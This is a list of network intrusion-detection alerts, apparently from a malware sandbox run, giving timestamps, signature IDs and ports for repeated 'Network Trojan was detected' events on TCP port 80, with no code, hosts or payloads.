Timestamp: | 04/03/24-06:38:11.400710 |
SID: | 2825766 |
Source Port: | 49797 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:35.672062 |
SID: | 2024313 |
Source Port: | 49829 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:31.366751 |
SID: | 2021641 |
Source Port: | 49823 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:03.254673 |
SID: | 2825766 |
Source Port: | 49788 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:35.672062 |
SID: | 2024318 |
Source Port: | 49829 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.957176 |
SID: | 2024313 |
Source Port: | 49838 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:33.600213 |
SID: | 2021641 |
Source Port: | 49826 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.957176 |
SID: | 2024318 |
Source Port: | 49838 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:37.702889 |
SID: | 2024318 |
Source Port: | 49755 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:47.687505 |
SID: | 2025381 |
Source Port: | 49843 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.163901 |
SID: | 2024313 |
Source Port: | 49768 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:14.340654 |
SID: | 2825766 |
Source Port: | 49801 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.850228 |
SID: | 2025381 |
Source Port: | 49754 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:53.324729 |
SID: | 2021641 |
Source Port: | 49851 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.265047 |
SID: | 2025381 |
Source Port: | 49837 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.890742 |
SID: | 2021641 |
Source Port: | 49810 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.856471 |
SID: | 2825766 |
Source Port: | 49842 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:44.645218 |
SID: | 2021641 |
Source Port: | 49839 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.810149 |
SID: | 2025381 |
Source Port: | 49782 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.855566 |
SID: | 2825766 |
Source Port: | 49769 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:38.407237 |
SID: | 2021641 |
Source Port: | 49756 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:11.400710 |
SID: | 2021641 |
Source Port: | 49797 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.163901 |
SID: | 2024318 |
Source Port: | 49768 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:59.640455 |
SID: | 2825766 |
Source Port: | 49783 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.243601 |
SID: | 2024318 |
Source Port: | 49772 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:18.685116 |
SID: | 2025381 |
Source Port: | 49807 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:47.778229 |
SID: | 2021641 |
Source Port: | 49766 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.243601 |
SID: | 2024313 |
Source Port: | 49772 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.842169 |
SID: | 2025381 |
Source Port: | 49853 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.813478 |
SID: | 2024318 |
Source Port: | 49849 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.938500 |
SID: | 2024318 |
Source Port: | 49790 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.911562 |
SID: | 2021641 |
Source Port: | 49799 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:40.106892 |
SID: | 2025381 |
Source Port: | 49835 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.938500 |
SID: | 2024313 |
Source Port: | 49790 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.987306 |
SID: | 2021641 |
Source Port: | 49821 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.813478 |
SID: | 2024313 |
Source Port: | 49849 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.873778 |
SID: | 2021641 |
Source Port: | 49803 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:24.221116 |
SID: | 2025381 |
Source Port: | 49740 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:46.959263 |
SID: | 2825766 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:55.534565 |
SID: | 2021641 |
Source Port: | 49854 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.947017 |
SID: | 2825766 |
Source Port: | 49773 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.042243 |
SID: | 2021641 |
Source Port: | 49794 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.810149 |
SID: | 2024318 |
Source Port: | 49782 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.108965 |
SID: | 2024313 |
Source Port: | 49777 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.810149 |
SID: | 2024313 |
Source Port: | 49782 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.890742 |
SID: | 2825766 |
Source Port: | 49810 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:34.282252 |
SID: | 2825766 |
Source Port: | 49827 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:32.267354 |
SID: | 2021641 |
Source Port: | 49748 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:54.423488 |
SID: | 2021641 |
Source Port: | 49776 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.791207 |
SID: | 2825766 |
Source Port: | 49750 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.850228 |
SID: | 2024313 |
Source Port: | 49754 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.108965 |
SID: | 2024318 |
Source Port: | 49777 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.850228 |
SID: | 2024318 |
Source Port: | 49754 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:06.650555 |
SID: | 2025381 |
Source Port: | 49791 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.791207 |
SID: | 2025381 |
Source Port: | 49750 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:37.702889 |
SID: | 2825766 |
Source Port: | 49755 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:24.205256 |
SID: | 2021641 |
Source Port: | 49813 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.062804 |
SID: | 2025381 |
Source Port: | 49845 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.043826 |
SID: | 2021641 |
Source Port: | 49831 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:48.379699 |
SID: | 2021641 |
Source Port: | 49844 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:46.022620 |
SID: | 2021641 |
Source Port: | 49841 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:41.484457 |
SID: | 2825766 |
Source Port: | 49760 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.892413 |
SID: | 2024318 |
Source Port: | 49795 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:48.477935 |
SID: | 2024313 |
Source Port: | 49767 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:09.892413 |
SID: | 2024313 |
Source Port: | 49795 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:23.522239 |
SID: | 2025381 |
Source Port: | 49812 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.265047 |
SID: | 2825766 |
Source Port: | 49837 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.987496 |
SID: | 2825766 |
Source Port: | 49763 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:06.650555 |
SID: | 2825766 |
Source Port: | 49791 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:45.205065 |
SID: | 2024318 |
Source Port: | 49764 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:48.477935 |
SID: | 2024318 |
Source Port: | 49767 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:33.600213 |
SID: | 2024313 |
Source Port: | 49826 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:45.205065 |
SID: | 2024313 |
Source Port: | 49764 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:33.600213 |
SID: | 2024318 |
Source Port: | 49826 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:58.122430 |
SID: | 2025381 |
Source Port: | 49781 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:56.219175 |
SID: | 2025381 |
Source Port: | 49855 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.152524 |
SID: | 2024313 |
Source Port: | 49762 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.224947 |
SID: | 2025381 |
Source Port: | 49817 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.163901 |
SID: | 2021641 |
Source Port: | 49768 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.152524 |
SID: | 2024318 |
Source Port: | 49762 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:21.763703 |
SID: | 2021641 |
Source Port: | 49811 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.914570 |
SID: | 2025381 |
Source Port: | 49825 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:44.645218 |
SID: | 2024313 |
Source Port: | 49839 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:44.645218 |
SID: | 2024318 |
Source Port: | 49839 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:56.609631 |
SID: | 2021641 |
Source Port: | 49779 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:07.360242 |
SID: | 2024313 |
Source Port: | 49792 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:26.534492 |
SID: | 2021641 |
Source Port: | 49816 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:07.360242 |
SID: | 2024318 |
Source Port: | 49792 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:13.658001 |
SID: | 2825766 |
Source Port: | 49800 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:45.335995 |
SID: | 2024313 |
Source Port: | 49840 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:08.198877 |
SID: | 2825766 |
Source Port: | 49793 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:35.672062 |
SID: | 2825766 |
Source Port: | 49829 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:35.452745 |
SID: | 2825766 |
Source Port: | 49752 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:36.151380 |
SID: | 2025381 |
Source Port: | 49753 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:45.335995 |
SID: | 2024318 |
Source Port: | 49840 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:42.314099 |
SID: | 2025381 |
Source Port: | 49761 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.844436 |
SID: | 2825766 |
Source Port: | 49786 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:57.435447 |
SID: | 2825766 |
Source Port: | 49780 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.904801 |
SID: | 2024313 |
Source Port: | 49818 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:53.598973 |
SID: | 2024318 |
Source Port: | 49775 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.972593 |
SID: | 2021641 |
Source Port: | 49806 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:53.598973 |
SID: | 2024313 |
Source Port: | 49775 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:52.638175 |
SID: | 2025381 |
Source Port: | 49850 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:43.987496 |
SID: | 2021641 |
Source Port: | 49763 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:32.210551 |
SID: | 2021641 |
Source Port: | 49824 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:27.904801 |
SID: | 2024318 |
Source Port: | 49818 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:33.093731 |
SID: | 2025381 |
Source Port: | 49749 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.122189 |
SID: | 2024318 |
Source Port: | 49757 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:54.009985 |
SID: | 2021641 |
Source Port: | 49852 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.030663 |
SID: | 2024312 |
Source Port: | 49741 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.125041 |
SID: | 2025381 |
Source Port: | 49743 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:36.358340 |
SID: | 2024318 |
Source Port: | 49830 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.732709 |
SID: | 2025381 |
Source Port: | 49832 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.122189 |
SID: | 2024313 |
Source Port: | 49757 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:49.163901 |
SID: | 2825766 |
Source Port: | 49768 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:10.724952 |
SID: | 2021641 |
Source Port: | 49796 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:36.358340 |
SID: | 2024313 |
Source Port: | 49830 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.030663 |
SID: | 2024317 |
Source Port: | 49741 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:10.724952 |
SID: | 2825766 |
Source Port: | 49796 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.179954 |
SID: | 2024313 |
Source Port: | 49802 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:19.372255 |
SID: | 2024313 |
Source Port: | 49808 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:31.437871 |
SID: | 2024318 |
Source Port: | 49747 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:28.593679 |
SID: | 2825766 |
Source Port: | 49819 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:19.372255 |
SID: | 2024318 |
Source Port: | 49808 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:42.416972 |
SID: | 2024318 |
Source Port: | 49836 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:43.957176 |
SID: | 2025381 |
Source Port: | 49838 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:31.437871 |
SID: | 2024313 |
Source Port: | 49747 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:42.416972 |
SID: | 2024313 |
Source Port: | 49836 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:30.670976 |
SID: | 2025381 |
Source Port: | 49822 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:15.179954 |
SID: | 2024318 |
Source Port: | 49802 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:16.574818 |
SID: | 2025381 |
Source Port: | 49804 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:50.437190 |
SID: | 2021641 |
Source Port: | 49847 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:29.787077 |
SID: | 2825766 |
Source Port: | 49745 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:02.546391 |
SID: | 2025381 |
Source Port: | 49787 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.218805 |
SID: | 2024313 |
Source Port: | 49798 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.278543 |
SID: | 2024318 |
Source Port: | 49820 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.958519 |
SID: | 2021641 |
Source Port: | 49758 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:20.198908 |
SID: | 2825766 |
Source Port: | 49809 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.218805 |
SID: | 2024318 |
Source Port: | 49798 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:29.278543 |
SID: | 2024313 |
Source Port: | 49820 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:05.256073 |
SID: | 2021641 |
Source Port: | 49789 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:50.546988 |
SID: | 2021641 |
Source Port: | 49770 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:51.947017 |
SID: | 2021641 |
Source Port: | 49773 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:39.111241 |
SID: | 2825766 |
Source Port: | 49834 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:00.331066 |
SID: | 2025381 |
Source Port: | 49784 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:25.764699 |
SID: | 2825766 |
Source Port: | 49742 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:37.043826 |
SID: | 2825766 |
Source Port: | 49831 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:50.546988 |
SID: | 2825766 |
Source Port: | 49770 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:12.911562 |
SID: | 2825766 |
Source Port: | 49799 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:39.111241 |
SID: | 2021641 |
Source Port: | 49834 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.952090 |
SID: | 2024318 |
Source Port: | 49744 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:29.787077 |
SID: | 2021641 |
Source Port: | 49745 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:39.958519 |
SID: | 2825766 |
Source Port: | 49758 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.015339 |
SID: | 2024313 |
Source Port: | 49785 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.269664 |
SID: | 2024318 |
Source Port: | 49805 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.269664 |
SID: | 2024313 |
Source Port: | 49805 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.748494 |
SID: | 2024313 |
Source Port: | 49846 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.015339 |
SID: | 2024318 |
Source Port: | 49785 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:40.804238 |
SID: | 2025381 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:49.748494 |
SID: | 2024318 |
Source Port: | 49846 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:28.952090 |
SID: | 2024313 |
Source Port: | 49744 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:01.844436 |
SID: | 2021641 |
Source Port: | 49786 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:51.126318 |
SID: | 2025381 |
Source Port: | 49848 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:50.437190 |
SID: | 2825766 |
Source Port: | 49847 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:17.972593 |
SID: | 2825766 |
Source Port: | 49806 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:45.205065 |
SID: | 2025381 |
Source Port: | 49764 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:38:25.719182 |
SID: | 2024313 |
Source Port: | 49815 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:53.598973 |
SID: | 2021641 |
Source Port: | 49775 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/03/24-06:37:55.796602 |
SID: | 2024318 |
Source Port: | 49778 |
